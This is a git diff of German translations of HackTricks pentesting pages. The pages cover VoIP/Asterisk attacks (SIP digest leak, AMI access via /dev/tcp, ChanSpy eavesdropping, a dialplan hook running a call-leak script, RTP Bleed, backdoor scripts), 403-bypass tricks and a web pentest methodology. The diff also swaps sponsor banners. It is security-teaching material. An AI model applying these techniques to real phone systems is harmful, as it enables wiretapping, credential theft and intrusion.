5. Der **Angreifer gibt eine 407-Antwort aus**, die **nach Authentifizierung fragt** und eine Authentifizierungsherausforderung ausgibt
|
||||
6. Das **Opfertelefon gibt eine Antwort auf die Authentifizierungsherausforderung** in einem zweiten BYE
|
||||
7. Der **Angreifer kann dann einen Brute-Force-Angriff** auf die Challenge-Antwort auf seinem lokalen Rechner (oder verteilten Netzwerk usw.) durchführen und das Passwort erraten
|
||||
6. Das **Opfertelefon liefert eine Antwort auf die Authentifizierungsherausforderung** in einem zweiten BYE
|
||||
7. Der **Angreifer kann dann einen Brute-Force-Angriff** auf die Challenge-Antwort auf seiner lokalen Maschine (oder verteilten Netzwerk usw.) durchführen und das Passwort erraten
|
||||
|
||||
* **SIPPTS-Leck** von [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS-Leck nutzt die SIP Digest Leak-Schwachstelle aus, die eine große Anzahl von SIP-Telefonen betrifft. Die Ausgabe kann im SipCrack-Format gespeichert werden, um sie mit SIPPTS dcrack oder dem SipCrack-Tool zu bruteforcen.
|
||||
```bash
|
||||
|
@ -495,7 +503,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
|
|||
```
|
||||
### Click2Call
|
||||
|
||||
Click2Call ermöglicht es einem **Webbenutzer** (der beispielsweise an einem Produkt interessiert sein könnte), seine **Telefonnummer** anzugeben, um einen Anruf zu erhalten. Dann wird ein kommerzieller Anruf getätigt, und wenn er **den Hörer abnimmt**, wird der Benutzer **angeklingelt und mit dem Agenten verbunden**.
|
||||
Click2Call ermöglicht es einem **Webbenutzer** (der beispielsweise an einem Produkt interessiert sein könnte), seine **Telefonnummer** anzugeben, um einen Anruf zu erhalten. Dann wird ein Anruf an eine kommerzielle Nummer getätigt, und wenn er **den Hörer abnimmt**, wird der Benutzer **angeklingelt und mit dem Agenten verbunden**.
|
||||
|
||||
Ein gängiges Asterisk-Profil dafür ist:
|
||||
```scss
|
||||
|
@ -508,7 +516,7 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
|
|||
write = system,call,agent,user,config,command,reporting,originate
|
||||
```
|
||||
* Das vorherige Profil erlaubt **JEDER IP-Adresse die Verbindung** (wenn das Passwort bekannt ist).
|
||||
* Um **einen Anruf zu organisieren**, wie zuvor angegeben, sind **keine Leseberechtigungen erforderlich** und **nur** **originate** in **Schreib** ist nötig.
|
||||
* Um **einen Anruf zu organisieren**, wie zuvor angegeben, sind **keine Leseberechtigungen erforderlich** und es wird **nur** **Originate** in **Schreib** benötigt.
|
||||
|
||||
Mit diesen Berechtigungen könnte jede IP, die das Passwort kennt, sich verbinden und zu viele Informationen extrahieren, wie:
|
||||
|
||||
|
@ -523,13 +531,13 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
|
|||
|
||||
### **Abhören**
|
||||
|
||||
In Asterisk ist es möglich, den Befehl **`ChanSpy`** zu verwenden, um die **Erweiterung(en), die überwacht werden sollen** (oder alle) anzugeben, um Gespräche zu hören, die stattfinden. Dieser Befehl muss einer Erweiterung zugewiesen werden.
|
||||
In Asterisk ist es möglich, den Befehl **`ChanSpy`** zu verwenden, um die **Nebenstelle(n) zu überwachen** (oder alle) und Gespräche zu hören, die stattfinden. Dieser Befehl muss einer Nebenstelle zugewiesen werden.
|
||||
|
||||
Zum Beispiel, **`exten => 333,1,ChanSpy('all',qb)`** bedeutet, dass wenn Sie die **Erweiterung 333 anrufen**, es **alle** Erweiterungen **überwachen** wird, **beginnt zuzuhören**, wann immer ein neues Gespräch beginnt (**`b`**) im ruhigen Modus (**`q`**), da wir nicht interagieren möchten. Sie können von einem laufenden Gespräch zum anderen wechseln, indem Sie **`*`** drücken oder die Erweiterungsnummer wählen.
|
||||
Zum Beispiel, **`exten => 333,1,ChanSpy('all',qb)`** bedeutet, dass wenn Sie die **Nebenstelle 333 anrufen**, es **alle** Nebenstellen **überwachen** wird, **beginnt zuzuhören**, wann immer ein neues Gespräch beginnt (**`b`**) im ruhigen Modus (**`q`**), da wir nicht interagieren möchten. Sie können von einem laufenden Gespräch zum anderen wechseln, indem Sie **`*`** drücken oder die Nebenstellennummer wählen.
|
||||
|
||||
Es ist auch möglich, **`ExtenSpy`** zu verwenden, um nur eine Erweiterung zu überwachen.
|
||||
Es ist auch möglich, **`ExtenSpy`** zu verwenden, um nur eine Nebenstelle zu überwachen.
|
||||
|
||||
Anstatt die Gespräche anzuhören, ist es möglich, sie in Dateien **aufzuzeichnen** mit einer Erweiterung wie:
|
||||
Anstatt die Gespräche anzuhören, ist es möglich, sie in Dateien **aufzuzeichnen** mit einer Nebenstelle wie:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```scss
|
||||
|
@ -549,7 +557,7 @@ exten => h,1,System(/tmp/leak_conv.sh &)
|
|||
|
||||
**RTCPBleed** ist ein schwerwiegendes Sicherheitsproblem, das Asterisk-basierte VoIP-Server betrifft (veröffentlicht im Jahr 2017). Die Sicherheitsanfälligkeit ermöglicht es, dass **RTP (Real Time Protocol)-Verkehr**, der VoIP-Gespräche überträgt, **von jedem im Internet abgefangen und umgeleitet werden kann**. Dies geschieht, weil RTP-Verkehr die Authentifizierung umgeht, wenn er durch NAT (Network Address Translation)-Firewalls navigiert.
|
||||
|
||||
RTP-Proxys versuchen, **NAT-Einschränkungen** zu beheben, die RTC-Systeme betreffen, indem sie RTP-Streams zwischen zwei oder mehr Parteien proxyen. Wenn NAT vorhanden ist, kann die RTP-Proxy-Software oft nicht auf die RTP-IP- und Portinformationen zugreifen, die über Signalisierung (z. B. SIP) abgerufen werden. Daher haben eine Reihe von RTP-Proxys einen Mechanismus implementiert, bei dem solche **IP- und Port-Tuple automatisch gelernt werden**. Dies geschieht oft, indem eingehender RTP-Verkehr inspiziert und die Quell-IP und der Port für jeden eingehenden RTP-Verkehr als derjenige markiert werden, auf den geantwortet werden sollte. Dieser Mechanismus, der als "Lernmodus" bezeichnet werden kann, **verwendet keine Art von Authentifizierung**. Daher können **Angreifer** **RTP-Verkehr an den RTP-Proxy senden** und den proxied RTP-Verkehr empfangen, der für den Anrufer oder den Angerufenen eines laufenden RTP-Streams bestimmt ist. Wir nennen diese Sicherheitsanfälligkeit RTP Bleed, weil sie es Angreifern ermöglicht, RTP-Medienstreams zu empfangen, die für legitime Benutzer bestimmt sind.
|
||||
RTP-Proxys versuchen, **NAT-Einschränkungen** zu beheben, die RTC-Systeme betreffen, indem sie RTP-Streams zwischen zwei oder mehr Parteien proxyen. Wenn NAT vorhanden ist, kann die RTP-Proxy-Software oft nicht auf die RTP-IP- und Portinformationen zugreifen, die über Signalisierung (z. B. SIP) abgerufen werden. Daher haben eine Reihe von RTP-Proxys einen Mechanismus implementiert, bei dem solche **IP- und Port-Tuple automatisch gelernt werden**. Dies geschieht oft, indem eingehender RTP-Verkehr inspiziert und die Quell-IP und der Port für jeden eingehenden RTP-Verkehr als derjenige markiert werden, auf den geantwortet werden sollte. Dieser Mechanismus, der als "Lernmodus" bezeichnet werden kann, **verwendet keine Art von Authentifizierung**. Daher können **Angreifer** **RTP-Verkehr an den RTP-Proxy senden** und den proxied RTP-Verkehr empfangen, der für den Anrufer oder den Angerufenen eines laufenden RTP-Streams bestimmt ist. Wir nennen diese Sicherheitsanfälligkeit RTP Bleed, weil sie es Angreifern ermöglicht, RTP-Medienstreams zu empfangen, die an legitime Benutzer gesendet werden sollen.
|
||||
|
||||
Ein weiteres interessantes Verhalten von RTP-Proxys und RTP-Stacks ist, dass sie manchmal, **selbst wenn sie nicht anfällig für RTP Bleed sind**, **RTP-Pakete von jeder Quelle akzeptieren, weiterleiten und/oder verarbeiten**. Daher können Angreifer RTP-Pakete senden, die es ihnen ermöglichen, ihre Medien anstelle der legitimen einzufügen. Wir nennen diesen Angriff RTP-Injection, weil er die Einspeisung illegitimer RTP-Pakete in bestehende RTP-Streams ermöglicht. Diese Sicherheitsanfälligkeit kann sowohl in RTP-Proxys als auch in Endpunkten gefunden werden.
|
||||
|
||||
|
@ -582,14 +590,14 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
|||
Es gibt einen Befehl namens **`Shell`**, der **anstatt von `System`** verwendet werden kann, um Systembefehle auszuführen, falls erforderlich.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Wenn der Server die Verwendung bestimmter Zeichen im **`System`**-Befehl (wie in Elastix) **nicht zulässt**, überprüfen Sie, ob der Webserver es erlaubt, **irgendwie Dateien im System zu erstellen** (wie in Elastix oder trixbox), und verwenden Sie dies, um ein **Backdoor-Skript** zu **erstellen** und dann **`System`** zu verwenden, um dieses **Skript** **auszuführen**.
|
||||
Wenn der Server die Verwendung bestimmter Zeichen im **`System`**-Befehl (wie in Elastix) **nicht zulässt**, überprüfen Sie, ob der Webserver es erlaubt, **irgendwie Dateien im System zu erstellen** (wie in Elastix oder trixbox), und verwenden Sie dies, um ein **Backdoor-Skript** zu **erstellen** und dann **`System`** zu verwenden, um dieses **Skript** zu **auszuführen**.
|
||||
{% endhint %}
|
||||
|
||||
#### Interessante lokale Dateien und Berechtigungen
|
||||
|
||||
* **`sip.conf`** -> Enthält das Passwort der SIP-Benutzer.
|
||||
* Wenn der **Asterisk-Server als root** ausgeführt wird, könnten Sie root kompromittieren.
|
||||
* Der **mysql root-Benutzer** könnte **kein Passwort** haben.
|
||||
* Wenn der **Asterisk-Server als root** läuft, könnten Sie root kompromittieren.
|
||||
* Der **mysql root-Benutzer** könnte **kein Passwort haben**.
|
||||
* Dies könnte verwendet werden, um einen neuen mysql-Benutzer als Backdoor zu erstellen.
|
||||
* **`FreePBX`**
|
||||
* **`amportal.conf`** -> Enthält das Passwort des Administrators des Webpanels (FreePBX).
|
||||
|
@ -622,7 +630,7 @@ Es gibt mehrere Möglichkeiten, um DoS in VoIP-Servern zu erreichen.
|
|||
|
||||
### OS-Schwachstellen
|
||||
|
||||
Der einfachste Weg, eine Software wie Asterisk zu installieren, besteht darin, eine **Betriebssystemverteilung** herunterzuladen, die bereits installiert ist, wie: **FreePBX, Elastix, Trixbox**... Das Problem dabei ist, dass, sobald es funktioniert, die Systemadministratoren **sie möglicherweise nicht mehr aktualisieren** und **Schwachstellen** im Laufe der Zeit entdeckt werden.
|
||||
Der einfachste Weg, eine Software wie Asterisk zu installieren, besteht darin, eine **Betriebssystemdistribution** herunterzuladen, die bereits installiert ist, wie: **FreePBX, Elastix, Trixbox**... Das Problem dabei ist, dass, sobald es funktioniert, die Systemadministratoren **sie möglicherweise nicht mehr aktualisieren** und **Schwachstellen** im Laufe der Zeit entdeckt werden.
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
@ -637,6 +645,14 @@ Der einfachste Weg, eine Software wie Asterisk zu installieren, besteht darin, e
|
|||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Netzwerke und Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftswert.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die es Ihnen ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
|
|
@ -17,7 +17,9 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbarer Setup für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit 20+ Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Netzwerke und Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Sicherheitsanfälligkeiten mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -53,7 +55,7 @@ Wenn der **Pfad geschützt ist**, können Sie versuchen, den Pfadschutz mit dies
|
|||
|
||||
* `X-Original-URL: /admin/console`
|
||||
* `X-Rewrite-URL: /admin/console`
|
||||
* Wenn die Seite **hinter einem Proxy** ist, könnte es der Proxy sein, der Sie daran hindert, auf die privaten Informationen zuzugreifen. Versuchen Sie, [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **oder** [**Hop-by-Hop-Header**](../../pentesting-web/abusing-hop-by-hop-headers.md)** auszunutzen.**
|
||||
* Wenn die Seite **hinter einem Proxy** ist, könnte es der Proxy sein, der Ihnen den Zugriff auf die privaten Informationen verweigert. Versuchen Sie, [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **oder** [**Hop-by-Hop-Header**](../../pentesting-web/abusing-hop-by-hop-headers.md)** auszunutzen.**
|
||||
* Fuzz [**spezielle HTTP-Header**](special-http-headers.md) auf der Suche nach unterschiedlichen Antworten.
|
||||
* **Fuzz spezielle HTTP-Header**, während Sie **HTTP-Methoden** fuzzing.
|
||||
* **Entfernen Sie den Host-Header**, und vielleicht können Sie den Schutz umgehen.
|
||||
|
@ -91,7 +93,7 @@ Wenn _/path_ blockiert ist:
|
|||
|
||||
## **Parameter Manipulation**
|
||||
|
||||
* Ändern Sie den **Parametervalue**: Von **`id=123` --> `id=124`**
|
||||
* Ändern Sie **param-Wert**: Von **`id=123` --> `id=124`**
|
||||
* Fügen Sie zusätzliche Parameter zur URL hinzu: `?`**`id=124` —-> `id=124&isAdmin=true`**
|
||||
* Entfernen Sie die Parameter
|
||||
* Ändern Sie die Reihenfolge der Parameter
|
||||
|
@ -132,13 +134,15 @@ guest guest
|
|||
* [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
|
||||
* [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
|
||||
* [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass)
|
||||
* [Burp-Erweiterung - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
|
||||
* [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
|
||||
* [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
|
||||
* [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbarer Setup für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Werkzeugen und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Werkzeuge, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu knacken und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Sicherheitsanfälligkeiten mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Werkzeuge, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, wodurch Ihre harte Arbeit in überzeugende Berichte umgewandelt wird.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -15,11 +15,13 @@ Lerne & übe GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
#### Erhalte die Perspektive eines Hackers auf deine Webanwendungen, Netzwerke und Cloud
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
**Finde und melde kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Nutze unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die dir ermöglichen, Privilegien zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die deine harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
|
@ -44,19 +46,19 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
|
||||
## Methodologie Zusammenfassung
|
||||
|
||||
> In dieser Methodologie gehen wir davon aus, dass Sie eine Domain (oder Subdomain) angreifen werden und nur das. Daher sollten Sie diese Methodologie auf jede entdeckte Domain, Subdomain oder IP mit unbestimmtem Webserver im Geltungsbereich anwenden.
|
||||
> In dieser Methodologie gehen wir davon aus, dass Sie eine Domain (oder Subdomain) angreifen werden und nur diese. Daher sollten Sie diese Methodologie auf jede entdeckte Domain, Subdomain oder IP mit unbestimmtem Webserver im Geltungsbereich anwenden.
|
||||
|
||||
* [ ] Beginnen Sie mit der **Identifizierung** der **Technologien**, die vom Webserver verwendet werden. Achten Sie auf **Tricks**, die Sie während des restlichen Tests im Hinterkopf behalten sollten, wenn Sie die Technik erfolgreich identifizieren können.
|
||||
* [ ] Gibt es **bekannte Schwachstellen** der Version der Technologie?
|
||||
* [ ] Wird eine **bekannte Technik** verwendet? Gibt es einen **nützlichen Trick**, um mehr Informationen zu extrahieren?
|
||||
* [ ] Gibt es einen **spezialisierten Scanner**, den Sie ausführen sollten (wie wpscan)?
|
||||
* [ ] Starten Sie **Allzweck-Scanner**. Sie wissen nie, ob sie etwas finden oder ob sie interessante Informationen entdecken.
|
||||
* [ ] Starten Sie **Allzweck-Scanner**. Sie wissen nie, ob sie etwas finden oder ob sie interessante Informationen finden.
|
||||
* [ ] Beginnen Sie mit den **ersten Überprüfungen**: **robots**, **sitemap**, **404**-Fehler und **SSL/TLS-Scan** (wenn HTTPS).
|
||||
* [ ] Beginnen Sie mit dem **Spidering** der Webseite: Es ist Zeit, alle möglichen **Dateien, Ordner** und **Parameter zu finden, die verwendet werden.** Überprüfen Sie auch auf **besondere Funde**.
|
||||
* [ ] _Beachten Sie, dass jedes Mal, wenn ein neues Verzeichnis während des Brute-Forcings oder Spiderings entdeckt wird, es gespidert werden sollte._
|
||||
* [ ] **Verzeichnis-Brute-Forcing**: Versuchen Sie, alle entdeckten Ordner zu brute-forcen, um nach neuen **Dateien** und **Verzeichnissen** zu suchen.
|
||||
* [ ] _Beachten Sie, dass jedes Mal, wenn ein neues Verzeichnis während des Brute-Forcings oder Spiderings entdeckt wird, es brute-forced werden sollte._
|
||||
* [ ] **Backup-Überprüfung**: Testen Sie, ob Sie **Backups** der **entdeckten Dateien** finden können, indem Sie gängige Backup-Erweiterungen anhängen.
|
||||
* [ ] **Backup-Überprüfung**: Testen Sie, ob Sie **Backups** von **entdeckten Dateien** finden können, indem Sie gängige Backup-Erweiterungen anhängen.
|
||||
* [ ] **Brute-Force-Parameter**: Versuchen Sie, **versteckte Parameter** zu finden.
|
||||
* [ ] Sobald Sie alle möglichen **Endpunkte**, die **Benutzereingaben** akzeptieren, **identifiziert** haben, überprüfen Sie alle Arten von **Schwachstellen**, die damit verbunden sind.
|
||||
* [ ] [Befolgen Sie diese Checkliste](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
@ -105,7 +107,7 @@ Einige **Tricks** zum **Finden von Schwachstellen** in verschiedenen bekannten *
|
|||
* [**Laravel**](laravel.md)
|
||||
* [**Moodle**](moodle.md)
|
||||
* [**Nginx**](nginx.md)
|
||||
* [**PHP (PHP hat viele interessante Tricks, die ausgenutzt werden könnten)**](php-tricks-esp/)
|
||||
* [**PHP (php hat viele interessante Tricks, die ausgenutzt werden könnten)**](php-tricks-esp/)
|
||||
* [**Python**](python.md)
|
||||
* [**Spring Actuators**](spring-actuators.md)
|
||||
* [**Symphony**](symphony.md)
|
||||
|
@ -118,7 +120,7 @@ Einige **Tricks** zum **Finden von Schwachstellen** in verschiedenen bekannten *
|
|||
* [**Electron Desktop (XSS zu RCE)**](electron-desktop-apps/)
|
||||
|
||||
_Beachten Sie, dass die **gleiche Domain** **verschiedene Technologien** in verschiedenen **Ports**, **Ordnern** und **Subdomains** verwenden kann._\
|
||||
Wenn die Webanwendung eine bekannte **Technologie/Plattform aus der Liste** oder **eine andere** verwendet, vergessen Sie nicht, **im Internet nach neuen Tricks zu suchen** (und lassen Sie es mich wissen!).
|
||||
Wenn die Webanwendung eine bekannte **Technologie/Plattform aus der Liste oben** oder **eine andere** verwendet, vergessen Sie nicht, **im Internet nach neuen Tricks zu suchen** (und lassen Sie es mich wissen!).
|
||||
|
||||
### Quellcode-Überprüfung
|
||||
|
||||
|
@ -129,7 +131,7 @@ Wenn der **Quellcode** der Anwendung in **github** verfügbar ist, gibt es neben
|
|||
* Sind **Passwörter** im **Klartext**, **verschlüsselt** oder welcher **Hash-Algorithmus** wird verwendet?
|
||||
* Wird ein **Master-Schlüssel** zur Verschlüsselung von etwas verwendet? Welcher **Algorithmus** wird verwendet?
|
||||
* Können Sie **auf eine dieser Dateien zugreifen**, indem Sie eine Schwachstelle ausnutzen?
|
||||
* Gibt es **interessante Informationen in den GitHub** (gelöste und ungelöste) **Issues**? Oder in der **Commit-Historie** (vielleicht ein **Passwort, das in einem alten Commit eingeführt wurde**)?
|
||||
* Gibt es **interessante Informationen in den github** (gelösten und ungelösten) **Issues**? Oder in der **Commit-Historie** (vielleicht ein **Passwort, das in einem alten Commit eingeführt wurde**)?
|
||||
|
||||
{% content-ref url="code-review-tools.md" %}
|
||||
[code-review-tools.md](code-review-tools.md)
|
||||
|
@ -192,10 +194,10 @@ Webserver können **unerwartet reagieren**, wenn seltsame Daten an sie gesendet
|
|||
|
||||
#### **Überprüfen Sie, ob Sie Dateien hochladen können (**[**PUT-Verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
Wenn Sie feststellen, dass **WebDav** **aktiviert** ist, Sie jedoch nicht über ausreichende Berechtigungen zum **Hochladen von Dateien** im Stammverzeichnis verfügen, versuchen Sie:
|
||||
Wenn Sie feststellen, dass **WebDav** **aktiviert** ist, Sie jedoch nicht über ausreichende Berechtigungen zum **Hochladen von Dateien** im Stammordner verfügen, versuchen Sie:
|
||||
|
||||
* **Brute Force** Anmeldeinformationen
|
||||
* **Dateien hochladen** über WebDav in die **restlichen** **gefundenen Ordner** innerhalb der Webseite. Möglicherweise haben Sie Berechtigungen, um Dateien in anderen Ordnern hochzuladen.
|
||||
* **Brute Force**-Anmeldeinformationen
|
||||
* **Dateien** über WebDav in die **restlichen** **gefundenen Ordner** innerhalb der Webseite hochzuladen. Möglicherweise haben Sie Berechtigungen, um Dateien in anderen Ordnern hochzuladen.
|
||||
|
||||
### **SSL/TLS-Schwachstellen**
|
||||
|
||||
|
@ -211,7 +213,7 @@ Verwenden Sie [**testssl.sh**](https://github.com/drwetter/testssl.sh), um nach
|
|||
sslscan <host:port>
|
||||
sslyze --regular <ip:port>
|
||||
```
|
||||
Informationen zu SSL/TLS-Sicherheitsanfälligkeiten:
|
||||
Informationen über SSL/TLS-Sicherheitsanfälligkeiten:
|
||||
|
||||
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||
* [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
||||
|
@ -223,15 +225,15 @@ Starten Sie eine Art von **Spider** im Web. Das Ziel des Spiders ist es, **so vi
|
|||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML-Spider, LinkFinder in JS-Dateien und externen Quellen (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML-Spider, mit LinkFinder für JS-Dateien und Archive.org als externe Quelle.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML-Spider, zeigt auch "saftige Dateien" an.
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiver CLI-HTML-Spider. Es sucht auch in Archive.org.
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiver CLI HTML-Spider. Es sucht auch in Archive.org.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Dieses Tool ist kein Spider, kann aber nützlich sein. Sie können einfach eine Datei mit Hosts und eine Datei mit Pfaden angeben, und meg wird jeden Pfad auf jedem Host abrufen und die Antwort speichern.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML-Spider mit JS-Rendering-Fähigkeiten. Es scheint jedoch, dass es nicht mehr gewartet wird, die vorcompilierte Version ist alt und der aktuelle Code kompiliert nicht.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML-Spider mit JS-Rendering-Fähigkeiten. Es scheint jedoch unwartbar zu sein, die vorcompilierte Version ist alt und der aktuelle Code kompiliert nicht.
|
||||
* [**gau**](https://github.com/lc/gau) (go): HTML-Spider, der externe Anbieter (wayback, otx, commoncrawl) nutzt.
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Dieses Skript findet URLs mit Parametern und listet sie auf.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML-Spider mit JS-Rendering-Fähigkeiten.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML-Spider, mit JS-Beautify-Fähigkeiten, die in der Lage sind, neue Pfade in JS-Dateien zu suchen. Es könnte sich auch lohnen, einen Blick auf [JSScanner](https://github.com/dark-warlord14/JSScanner) zu werfen, das ein Wrapper von LinkFinder ist.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML-Spider, mit JS-Beautify-Fähigkeiten, die in JS-Dateien nach neuen Pfaden suchen können. Es könnte sich auch lohnen, einen Blick auf [JSScanner](https://github.com/dark-warlord14/JSScanner) zu werfen, das ein Wrapper von LinkFinder ist.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Um Endpunkte sowohl im HTML-Quellcode als auch in eingebetteten JavaScript-Dateien zu extrahieren. Nützlich für Bug-Jäger, Red-Teamer, Infosec-Ninjas.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ein Python 2.7-Skript, das Tornado und JSBeautifier verwendet, um relative URLs aus JavaScript-Dateien zu parsen. Nützlich, um AJAX-Anfragen leicht zu entdecken. Sieht unwartet aus.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ein Python 2.7-Skript, das Tornado und JSBeautifier verwendet, um relative URLs aus JavaScript-Dateien zu parsen. Nützlich, um AJAX-Anfragen leicht zu entdecken. Sieht unwartbar aus.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegeben eine Datei (HTML) wird es URLs daraus extrahieren, indem es raffinierte reguläre Ausdrücke verwendet, um die relativen URLs aus hässlichen (minifizierten) Dateien zu finden und zu extrahieren.
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, mehrere Tools): Interessante Informationen aus JS-Dateien mit mehreren Tools sammeln.
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): JS-Dateien finden.
|
||||
|
@ -241,14 +243,14 @@ Starten Sie eine Art von **Spider** im Web. Das Ziel des Spiders ist es, **so vi
|
|||
